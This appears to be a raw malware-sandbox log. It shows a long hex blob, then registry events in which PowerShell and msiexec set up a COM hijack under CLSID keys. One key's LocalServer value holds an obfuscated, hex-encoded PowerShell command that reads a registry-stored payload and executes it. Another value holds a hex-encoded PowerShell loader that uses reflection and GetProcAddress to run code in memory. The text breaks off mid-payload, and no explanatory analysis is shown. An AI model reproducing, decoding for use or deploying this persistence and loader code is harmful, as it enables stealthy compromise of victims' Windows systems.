b9cf3b3130fa863485e5458ca4e6135bf27e292b55ff2e013eb8bea875d1b4661124933ba1d2dc475a6fa6799c5b47aee8bd2db9fec4ae2342ea546983ac2ed0b0e298bea2c3e40fe7c9e57a6e937ddb4644d3025d3d59da53d4daea4f1f600edd00df84179805531ef4fd08b92242febc831237324dfd9a8712d4404c8694b63c9a54d85604881ad5b7e3530177c64de7f4e5e380df7df785cb294b32167f0fabbb5a4848ca4bc0270e721ce0ef669e3a46341549199b1f256f8d6df84fd80358c3ee972d311a8aa4b34304eedacd2219182018cbdc9f7eaefbdfb4a674096bb20eeb0b4043302d9a6cbab5078b11c33d9af7efc7a6e3f8f97670774cff565ba1c1292187dededfa8c634c37e685b63e0dd3b59eee853b672b7d503b0d5fa2c7d2967212f14a0cdc7ab4887526cf4413e29dfba6325233b240f2f94f740607fffbd80df6a292adce09e133273cc1a4b5821258a8579e9f6a4d4e611cb8d809ac5254a40a72fdb89d234b7ceb588c41576c9c96abaedff6dcf2325e7e3382223f4d4087b4e41f2cadec60cbe1ef7fae1ba4f78374a75e04f539929f232f5269ccc467873223bcee5581e61e55db781a3c888182e48ac9257eef40d77544971878cbc344c766f8a860ee24586c33f768b2c638220870923c862931789b67966bb50b3b9803fa2256a8eb902fb3fd439f85b258d7beb1192f959d379397df7f67284685eb8614567b5882d514139911328b4cdf6e262511b884227a88620aca139c6a5ee5c824a21d0142a9c17c8026313a093357ebefac8f923af5752d3863be8535eb1840224f8278059363aa469c86c60fb052b41dcb5699a4b241734dfcf0461016c5e7a10b23b9457da59d0c9bd5667edb8683233194e8e0b69b2b6e767d111bca94947e92e8593e1c2f51224932cc5f4e3c212ddd04c55a8eebac7177151eb7f97b35bd5054f8bb42392051afa9b6218475ce4a88365d099bb570e5c0ed64834bde32b3be234c879d2b75da00008d396ff5c6f4fdf48f5ed421d5af6d7a30f186ad6d91cfc17074b60b07084c5fb3d3213e2eedb46a021d5894c39b406f95e5a35b47719595bd74ef0d1dbd6a628408b1423c8c495d26e1968045d64b198663669935e24d71203353508c0bafc1d41aa7febc5f09feaccd24ea8850b42718b25cdc744ec2144e9c6692a0aa504c5030907240a2f143bc2080831319b72a828f78f1ac12c07f891d40d18c3ff0e36c938d3c0675b4025de8ef95482af055108697213d8066f01f163d8ef9cc04ead59b6bf0677f2106522d74d8c5274316dd6577023c23bf3eb182cfa597eb62f22992d2928843d284e12d9bd5ae66831d1a1c27b28884ae737aaec71084f063e11e78ed63cf0917b67a26651c5153312889ea3ea5cb5e17547caf04824ccc6a4c6684e40e979fb951593973972d30c29fc8db2a44a273df74e811bba53f6059aec852ca4b5a2cc0dd9295e990e3e0b126812180f4730f9d8133055d4989b9b11a7f60e8a26e10ef641d87ab24a34035ba1986afb08848de91cca81cbceff74fea2be60860a726b44175693081d0e7dacaedbe5720f42af5d482dc47394abc9fa09d56a505bb1759ddf427d3538d6bb73af67045cf0ec2b44db8f5da7b903e57809c757372f3b54e3b69b1e5f81e5f5cac68e2556aba29b3f3e88a2ebc977e90d079cf0beb037b9ff190a6b15aef4d06a1d925098a2acd9fbbdbb72b9893799e903ecce9a715493387d05bae43a43a3cfd6244ed0f669f2b20b369bfbe3fafd42432848f3a25095c527c03d90748048c69ee93fa4d9c802ced1e50a7a56d55ea6ee78a5d74a4502e7a0f030a3d32abb52357b4f15df8e3ea67143ec3ab90d326c4c40b263f27cbca48e79334e030c2cfe8b8c446d8aab95dc8c612fdbf16320f5cc5d41722b5b6971e002e19ef90932aab721c6a28b3a961732226018a8f1baaaf81b642d6ccc3363cd598fd37b06603ce5c3d0715e5f2058d435e7dd237fc13428258bf1c586c03efa4cfa4340ecd74d5c98287adc51afc741534a7b4311dcb988a69d3e2b92a55efc336051d25099ab806e44bebf8cf964641bd8df144e900427f7dbe4943cef15a6d1ee364c0ccb6b4a8a6ad94d927e4a7645f0ae11e4f241b34cf3fa36d2868f9c57e313f46bd5926180c256528f3524ecba3c2d7b692946a236bbf38528e078a298cd6228be3380ddd52a9e8cb886288a27ff6085774097ed7a08a34d8b489064dfe3580290dc95e944fc45a8a0b82e5cb259c1b379c73023f0d168e46406ea25d054962ddec61396769e2190b92c4f7f571b78aa9f6e4d088d400d21973abf6e5fdce3aed2455a220a6a17dab35e71298f62f7edb9668fecdba198c23865f51e0e1f8ca43e9ea301e508cd45fb4bf4727197039458003d6935b7aaf2f9c0fe25855e89e416a8a5b76abfbab9467b3867a122010436bb0d070c5c710bb7869a0ea0b4a45f035cab0eddd7a7d0e40b95adde2b3a81680af074282d478172ad7660f56dc3a2e3e91fc89cf657742cf8d30bf83efd70d36e311526eb86b2ac1d0e8a96953c932a9dc2a9b1dd0b2180477251bafa3154d8a854d98ce6d2b4d27d0d2936c4f8a731deb00260a2f0a2bb1f7817ce866b89065f55d58558398955a597d1f541ba6a302cd1b509743076b90f0cf2a2a7a33c32b14dbe65a9dedd5c597e89e73612277d886920b10cea921f6dba65fa7b2e9c4538d32a0ca023f6824152c374f86f2c3fe75e92ffbc592dc0cfe05cf1b17cc38cf168802b3bb26a3042cad019de7144c0f43f4604544662d9ca30d63205b889692a38c944b15126cb98fa4b5c2fc40874d48b6653eececaabb9a08c63ec2bc072ba75224bdbc0c7a8a385e548e2b0dfe9a7deaa0d335790eb592b3f60e5dee49b9a6d2f42cc0b06b6bea00f74a935d0617cc5e155c3dd07493edb3a8628049e98c3e65acc34ab35e3874b392fa4fbc29959ba72eeb1afbe3b34dae5a047a4a7074c484bcacda5424a1e321b5eeea16e6c05111cd96edf6fb649737fb6eb959273be679665e4c752a2bdcdc2bb764e60467744d7f7344be12f688c5fbd5426b4725c67832c987f4f581249499eceeddf579daa89f26b7ccd0ca5e1dadaa788313fa4cbccd08cca0c3403b5a8c06db1792209c4fee9c3fa9cf5c70e6b7be654c92ce719bcfd39814e9b558eeda4eeaaf48ebc16b7092b1ec8cc6edc3e87ae27eb202bb16c196f90a226c6a8a37f18f88fa5f0d3c4feaf105d414eb8d400d0442040e41e3d5319eba4bcaba680d598915c90d1664590f153016b0dc461732f6b8230e93f605d398b19928c21e58723017c3241341593dd53b6b8986ff6386f258c8298f8e8f021b2b395db64b2f193a938c3517b505b91c8c6715b181253b167dd10ba2d3aabb25fc5ac713d6a18f9dc8601b0abe35cb531e14e52418fe14153fc85269dafd91013a924f29a852ba7581370a45a72467b1e5aac775c33d0a13f5268b93af94e5d88580f3e6315c174861ff84c63475f0194e1ec94626e5b48f2f9843b5743b88c06949a9fe9645c15197fade831b9f832a5eb28cd7e864b7235a11fe5d267b879ec6a42d96c71a62803829596cfe23e7409f0dad8039d2e14566d6802f4c2f14657290f23a38a8724deb6e72297fc0f886247bca7183c84e7869f8c9bd34eeba5f95a0d5eb2c3a9a221ee8f2ca4775ca667dccf1743ef4cbacad78134f1cf2904c95d0b3c50e0ceb309c04ea389f57f845a099531960bb34266b223df045f0c5abd1abafafeb4c68027975c4e4214a0400dc0e276a32530d97ad0d858e975e6b473c5dc883b1ea5ecbcee489fff726d73b5f70a18cda7c2de25e5731dd1f8e4cba7483f396bf0a89718cdc1f86b3b5f5306220a7d05a6f359c58d9089f346f48a855a9bdd68e6d606a88a39ab4626cdf97bff5509e867472930473c688f1ac55857f4f542bab6ec0790b03e505d8ed6a4f371c37bffcee4416d491a29cd7f3e609ccb05adf59c2ba8cc2ff212d05d01e34100b7cbe7001b180a0795b4a927918b08434c52e5be68fefcc1f7741a9f6e62d2faf6a215155a26d8cdc0711f29971dd5708dcb44badddf0bc29359e36dec16c34a5e005a09a7cdbad1765456b2a1e4bdcb685c57cce684c451d755ecd6beb886d44da68f5c490d5552db90632f8884d8e5cd66ba986ff392a047256af1872a20ee14c9b67de189d0ce0d9e6d95fd7e707514174cd30606d45c167f0febb39751f0f17d30fe6dd34f83bdb5de87f7bc02fb46c05b5a0cb5f40511b6fbb9a1f61dd70e4afb4bfe18e0783cf7b078d80df1510b52e283fe2aa19b936cd66bddfa72190484560ddd5d4457b039dd9a7140ba832f49b65d850b4418faf331663333c65625f0835d07faf91bb74670c36b4d47d401120de6e060c8129c928e988b522d20a4aea10f89fed65b5e5905802a79eca9dbd5211dd4262bd65b9e54b33256d3578ebb2a82cb8e83c97f878fd041d1bf9a65ef32146b4d5150e1baa1f9025a5016c6e3213edbfe059694e55dd3cdf0f81af4e3991fe898dae46ef6d001f1a8c3772d94d4eddffcfb01c6084697b59a339f1e8f405332a8710c30a2595c27e4c978f21f15375c0dca869fb8b01ac81714e31417b0cea09c88750fb820cc8564066a17551ffa30fb2fab5b567678e5351c5d8691e5ad7505184c8b04944f3244805523f45d991fd314a292346c148edff2009df32d7b12ab290797779c2fe722ea2b65ecafbf79b55d97fdf60c8607b3e7f4af128ab54bc2c7bd91fbf7c9240c95f6105369c0c687cd1d778c06de3ecdba6ce44c5ff98d69ca8696ef19509d1f8f99a4e7c45d1e02a313aed7ddd00d0da5206c7393e52f5d42073a3371dafc4dd6a5be198e7ac1aa027f64fb2c5077d6190277cf3b72044e8a6fb6301b0a22c39d9b16cba2e0881f95d7e265e666bc32fb0f2d5ba194a0e8ad00d52a61a5dd8a7f21816a927c25c5696c5b02d2dd6b30e5273c65d0bbe20fbb7d3c7c73149daba14c8761a726aa5d08e6efb55fa4671189e9bf9278ed4fbf0645d9722af17fdc9237f92d9d94e91946562987b7915fece46923d876afb3247282df8995bc46f52114971e25235a2428ae0d2bc5e7255a17abc636e9388c87c1a290de1eb42450d8b1aea453277b8651e7978e580a5f1b350ef9a45ccca12a3ad331a080714debf489c55751c8652873d71589bbdb44fe054affb4fbdd8984caf300f82ec6a34c8f7813db00c591b4296ee4ae048dfc392f2a5db54df6cdb44d50417b846bb1bae9de9ec3fb2b774e3ade8f2095116b1d0699ab6b86a345f36942c94e7c2e663cb71104a56faddb92bc6159eb5642a837b450f81e740b0436729f206b67a5eeb3ea6d969ba1bc6d58806bb9ef8529b0015aba84e77ef4c87e24a90cb1239d31ac53eea5d2d574b464c36614a6bf1df875f4bc0b569ed5ef1256ce22f15675ef0ee07dee17f2b5dc029762ed708a84c50ae800fcf1da427c0caef9074e2b4076252f5b036148c5ae89c68bbcac269d24fae71a7773d2f802cb82c052405b12b59c1384c05a45de57e26bd876632b46ea37e470c132eb0b2472514bdd7493240ed008fa25ae62e97c0f61db75484f53aeab51a6b93bac23d512efdeb93dc988fca2f4a8246d41cc93188c5d7572cfc9f3980a819dd0fde9fe2564583c0c73c5d89d91f6137234d9192dd6f068ed52487104382366ee9bc725cef62573f4a83f26349be21ca5c49d710bfd316179e7fbf78b25e7edf3dcb4dbbcfe3e6c335b017997673503065fbab43795f20241ca3a6c103e973a22363201dd41bc69f489a77f9f6729230055d153d48ae934993e161418e7c4da990c97aaf793f53415907cf02b27419ce9b8fc9116d5bcb1b9c63771c6e9c11a00c3657dfe749e042f438dd142450cae2dc1fcf34f2a35945b8ef1f8941c8c7ea3b9f3e36c43ef4d2677c11518f110c731f7d3790f7e33cbbf87483980923bc4e833f6c77a1ebf45070b45a0ab1daf14b8c1d5db2ea75f2d998bb5e78a37518b60de7913a83e0e3ffad3422dd2f1108bd2f7d527e00686649f7a29a80b538881463ee7d22e47fc2b6cd9d9e76032d00ee13ed8725050574c9fb92db31f134fbe2bed547ee43f991bfd4c91741dd35ab6e19027bccf0de7b227b5e3d88c2ebf9f3abc6e8bf6cd5fbf30e4223e283c2cdad6c94d0f1e1115d0919e80e6b24a723ce461eec501eebd94fe61f5db36a4d8d84482b4d6bdfaac18d632f2f6c8656a2e13e3272e54dc609509b76e86a12ea482ac27ab577eca236f6ded296012788c039f7e49826a82cdc87b71e85720f11c38308955c40ad978fb88f556bcbbab783e3b0a539f5f349741f9260009d8a5933aae446d99267cbc11960da746ceea45b85ef38c9641a4fbac42f496e13271381a035bf8d972e064e2db11025f12d1a6aff9381f88be4ce273d14d63c7c7c111806b8e0e4b56816609c776081995e23fb52be25eb374805d07a6c5fd27fba5d2054bda915c9885a06e630e0eaf2139a64842d6d4ba3c03043c2b896e14f172659f9c522fa0e51b22efa57016b5c6c3491aa2bc4d3c0c29ff18d1a4e79728e549a03e9eb7a07ee8debc7331f480ed268948fb12752fa2e6df1a43e1e66e29a451436268da0b362dc79a302b90696e5d2a8fec4bd6433eb6eaa713ebca1722ec795c73063c55e463e1f1af8cafaf72e8531897ddf3cb389823a0de10e6dab8dae9d8f660b1f9de7593d21771a880860b3b8fd9aeb7bd81c3b3251e66d786eb1b56d07b8164ae46bd8c7f8c91b19112fa57b74eb62e8578deb8a15ea192a662d41996c810bf9f5153046bf42d3fdf94fb26e41321a8f55c38f768e3c2c377e98c46e58cf674fae694a517e755488ed6011139af501d96daf8c2a7ace7551f03504d6fe326b8c7d13862ba8010b51b428afa4140fe581909c79b8d51ab945ea5181d76c06f898216f92634261d545e4d3ee670adc05de329f276f622bf5284095953cada2f24464f01bd475f9c7135c86feefd2dc1b502e131634fa92ed52edb07682480df05f12bc3d153ff624f3f5734cd09358dc5ff0ae570385c5f8b7acb85b03fe1e661df7eb6e2675a077740ba9d91b496d26fa210424b85584e65f2696b951f1bf81f238a8ed32866153e1a56f706200db502a0183e522068e13312cad0946b57d9a5a1678e641aa997d701105cb55e7d87cfdb7d47850a86f09e12b6f8d44267f6370e034ff9269a496c4e615de2990fe6e676f0960d4c97f1ace4ba534486c7660fd18cc049fcb9e78f1cf13b15871a4093f94e607bb01f1750b6ceba470f19546b5fb73750e6bd5a92fba07ebf1fd77dd7aebe4ec2b54fe22dea25e602cbc304c8e591271237ec25141ddf161c092391427e058f3b6ca092fe5d76e163124c47639b459fa375b29f8f7dd5086ef0f979ac8af5221a4592bb24004efc5ae89afa146653c1675bbaf76c1b439ef2f8f8a41f04d696a350c4fd042f1b063185effcc81fcd6f574def0b0de37db2f36c93ff62d1c806752223e436ba6265ccfa6570471645f65fb781f9e22157d6828c64c59064a4e90d797d02ec9146a8242be9aa1c0000c04aa5f00b0d4f6bfecad9623f6f84c0a6b51a19a40ae1371f720df05a45b77502b5492759a373e08dee02ac184b995fa4e8caee3bc12de03fbe40b117a5111724adef96779e12e0fa859a585da4c40cc78cb35c947bf8d2e697a6e48f3cdb4705fe640a6630340dc2b46c6dea602b3904e905bedbcfb253294f6837640358435db1811868cc0c079d388a1d5193c41b9b1072ad896ca40668a943d41fcea1b44629b2b63814e076a64ccbb6ab63c7a284fb05e3e6e6b745dae8add552e2dce73ee64a43c134e855a604b2be804d6fb7ee3bd2f44c23c7f287db7226b8d0def6d88ee97fc0b5f0484713cacb37448b8f85ede32dbb4e0595d31e941c7ff2ef32632d6e0db9c098635c34ba685b261a589165b0b9206bb9972fa717e06b27a0e70ed2b7e15dbd44db2a291cd39c5f3d9b68b20a701205f8dfe97c45ac7f1c67ada7d8090edc1081a60f45426808119e763ad23b8144a1c8e7ade024adaf9c8f1057eac0b042e25bd9dea7eb3c5b2e2f0972879bbefe5f103584dd688a92ecc60d2cb71adbd11cfc4dbf4d4a29f68f20ac243ff365dd2abd96c524ff5f2e3976645052ac33071c21d0c178904e9638a0db4295c8d27713384baa296c677f300ef92d33e1831aa55b58300f6b72deb6db3817c9f1879ba55dff99b4c1704ce2ff1e7923436c8b656de010b082bdac28127a03fb31edaff23adee38b3b081953872ed64913fb246328755323e60802e4affa7085efebb955ff166a26369ca8dd053a8e179f0f71282225d7a32145f0e6f6fdcb78032c9fbf2b3441ea6156b7073edad0641516bfce865f3fd75355ebf11683d6163f749a57d09b04ea07f44633a7e3e633bf71981d9600a6723c87255669dc3e6f0bb890de51f72ed77b54d6d0efcaa9e5745115029e18a1657b5e2c7dbced6c4ecdb0854a7cf25e263652444173418b9c4dff8d49add0d5bb0ea661bb5a028f30ee48bc52f8e4e986c5c5cec0e907d1492a687bc533b1c6eb729453969adf94031cd1e3795517545e65352da334ab7d81f6a60da4a12b01275d54d21122cbf347e4a359a03d01cbcd7285723690bc927a23e19506ab369d0ffee04e7fe8daed19d7c5959d6e67b4590d89d37f6244e9c813e8556497ac39db07c6a896952f29e8debc48372f67091b6f54752c1604b02238d577d7e1db3b70226002e54f8f39ad3ca522f12cd234cad5d5dfe86e2fd29788876bda5babfa04cfe66f7c56da98e39ff747eafaa5ebf94d3385f917a69ea4f440e6919a661ffcaff1c10b2b011219ccde6169550ea6744b8840e81dac39815ea0fcc25d4ffc970a7de60b9ea141f38bb99622e58337aad8fddf97ca654b7edcd7593614ff70d930be1f0ebb36555396acb6a7fcd77d4ee5f28b665ec7d4f43be9d6d90f4ede43d96e1dbe13c4a067629fe62345fc0eeea1cf466b55059e580c75cfca84af1ae2f773e6015607d8b713a143d857c393959ac26bcc93818139f8baa8173e8339cd0137606d2a6ae55fd3809f5adf466bcfb59988244126e657f4604b0f297323bae54392c4de8201407963123340ea40db27b96755a7a123e31b6646b11bee88aa3a778ff10de9ccb3c72d5c0ac3a24d4558d62b4fc634de5f43acfd1257adaf2bb4ad46649e044866876a0175f2a0b7e9718ad9f73b063976702e8898d6518d9f57ca1e15dd9a82ee3b886d33ba716ada59ea517b68f9bfb71eb3d4a9324eaebd06359e2868708cbed8ef075e325895fdd8c3f1bb451e5201e9f9a8ecfa68c85b4db07f0c8a3049ca21d8bbc595d83395e9269af7d9da4bdc0759bbd07a015d35f54ac2605ab3a4f6cb8763b2c3d540b1bee3d209d300d1118cdd168fc736c7ff0cf28ec39560a0fdd4877a1aa03bc554846e4625b74d32e1420c0bf06a5a28c7825688d39e02873707fb1bd9a4ae70150a3fe4b49a961acf509b91c7a6d9af745f77ad8045ac87d2a9bc94021bd0a7eb8573c84f7c39e0c1c8a541736bd2637d81a64390307245eb85b58fbab3fa13af7e4304564068bdd8897e76323632344996e2d9815132eb67b372abb2fd4af095b85924a54b9cf296ba86f831f96f6b8468d762e57f6bd2566c8780702b5d0354a4be42ae7f9ea683207eb2de5cf8da38096c55104ad9737b8cb65df3335c186d9c6d23a4d96ee54b8e5eee5954f9e198b4fe7e1b6c39c1a0c3b2a46f93b0be2f11601ece0c52740dde970789a4bd74040007828c810350bdd6b58503317a990dd7f15913a90b5c2ce76467ae9bf5ef9755400f97d6535243e3076bd95b90746ac4cc2ee56d06ffe4f934c5672ad949ff287a59f093caa6a38ed663f1792301429d60bea242631c2290a3250efdd6afd1fc38f8266cc5e941247665d2de8532afb6e5c44996415ed5f60ac67923bcc0ad387b17938c24e9d42cd5043e60e4a548b756fdfd496e33cc0523d299348642a95c powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0412050F-0D0A-0603-070C-0C0409120B06} powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\ProgID\ = "{040D0C0E-070C-0106-0C03-0C010C000513}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\LocalServer powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0412050F-0D0A-0603-070C-0C0409120B06}\TreatAs\ = "{020C0C00-0012-0901-1202-0F021212090E}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\ProgID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('246D746F787A3D2730393045273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30323043304330302D303031322D303930312D313230322D3046303231323132303930457D5C50726F67494427292E246D746F787A29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{040D0C0E-070C-0106-0C03-0C010C000513}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{040D0C0E-070C-0106-0C03-0C010C000513}\CLSID\ = "{020C0C00-0012-0901-1202-0F021212090E}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0412050F-0D0A-0603-070C-0C0409120B06}\ = "{040D0C0E-070C-0106-0C03-0C010C000513}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\VersionIndependentProgID\ = "{040D0C0E-070C-0106-0C03-0C010C000513}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\ProgID\090E = 66756e6374696f6e206a70397b706172616d28247a6c342c2479733429202870713720273234373637383335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343641363733313344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343736373833353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373637383335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364136373331324332343741364333343239323927297c2628247073686f6d655b3132332d3131395d2b247073686f6d655b3231322d3137385d2b277827297d66756e6374696f6e206664387b706172616d282467713729282d6a6f696e2824677137202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206a6e357b706172616d28246466372c246962382c247a73372920286a6f34202732343732363333353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343732363333353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343634363633373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343732363333353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436393632333832433234363436363337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373236333335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137342d3137305d2b247073686f6d655b3136302d3132365d2b277827297d66756e6374696f6e206468367b706172616d28246668372c246b69362c247265332920286b6735202732343739373433343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343739373433343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343636363833373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343739373433343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436423639333632433234363636383337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373937343334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136312d3135375d2b247073686f6d655b3136352d3133315d2b277827297d66756e6374696f6e20696e347b706172616d28246771372c24756231292028666438202732343631373933353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343631373933353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343637373133373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343631373933353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437353632333132433234363737313337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363137393335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3137382d3137345d2b247073686f6d655b3231332d3137395d2b277827297d2066756e6374696f6e207663337b706172616d282467713729202866643820273234373836453332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343636373833343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343738364533323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373836453332324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363637383334324332343637373133373239323927297c2628247073686f6d655b3139302d3138365d2b247073686f6d655b3138372d3135335d2b277827297d2066756e6374696f6e206861327b706172616d28246771372c247562312c24786738292028666438202732343633363733373344343